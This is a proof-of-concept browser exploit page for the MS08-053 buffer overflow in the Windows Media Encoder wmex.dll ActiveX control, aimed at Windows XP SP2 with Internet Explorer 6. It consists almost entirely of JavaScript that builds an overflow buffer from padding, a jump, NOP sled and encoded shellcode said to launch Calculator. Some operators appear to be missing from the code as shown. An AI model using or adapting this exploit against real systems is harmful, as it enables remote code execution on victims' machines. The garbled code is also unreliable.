Windows Media Encoder wmex.dll ActiveX BOF Exploit (MS08-053)

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MS08-053 Windows Media Encoder wmex.dll ActiveX Control Buffer Overflow

============================================================================= Calc execution POC Exploit for WinXP SP2 PRO English / IE6.0 SP2 Found by : Nguyen Minh Duc and Le Manh Tung

Advisory : http://www.microsoft.com/technet/security/Bulletin/MS08-053.mspx Exploit by : haluznik | haluznik<at>gmail.com 09.10.2008

============================================================================= <input language=JavaScript onclick=poc() type=button value="launch exploit"> <OBJECT id="target" classid="clsid:A8D3AD02-7508-4004-B2E9-AD33F087F43C">

</OBJECT> <script> function poc() { var shellcode = unescape(

"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949%u4948%u4949"

"%u4949%u4949%u4949%u4949%u5a51%u436a%u3058%u3142%u4250%u6b41"

"%u4142%u4253%u4232%u3241%u4141%u4130%u5841%u3850%u4242%u4875"

"%u6b69%u4d4c%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c"

"%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f%u6e68%u736b"

"%u716f%u6530%u6a51%u724b%u4e69%u366b%u4e54%u456b%u4a51%u464e"

"%u6b51%u4f70%u4c69%u6e6c%u5964%u7350%u5344%u5837%u7a41%u546a"

"%u334d%u7831%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955"

"%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b%u726c%u4c6b"

"%u534b%u376f%u636c%u6a31%u4e4b%u756b%u6c4c%u544b%u4841%u4d6b"

"%u5159%u514c%u3434%u4a44%u3063%u6f31%u6230%u4e44%u716b%u5450"

"%u4b70%u6b35%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530"

"%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b%u6c30%u5770"

"%u5770%u4770%u4c70%u704b%u4768%u714c%u444f%u6b71%u3346%u6650"

"%u4f36%u4c79%u6e38%u4f63%u7130%u306b%u4150%u5878%u6c70%u534a"

"%u5134%u334f%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377"

"%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f%u4147%u4163"

"%u504c%u4273%u3159%u5063%u6574%u7035%u546d%u6573%u3362%u306c"

"%u4163%u7071%u536c%u6653%u314e%u7475%u7038%u7765%u4370"); var buff= "";

var nsp = unescape("%u06EB%u9090");

var sh = unescape("%u6950%u74C9");

var nop = unescape("%u9090%u9090%u9090%u9090%u9090%u9090"); for (i=0;i<1638;i ) buff=buff unescape("%u4141"); buff = buff nsp sh nop shellcode; target.GetDetailsString(buff,1);

} </script>

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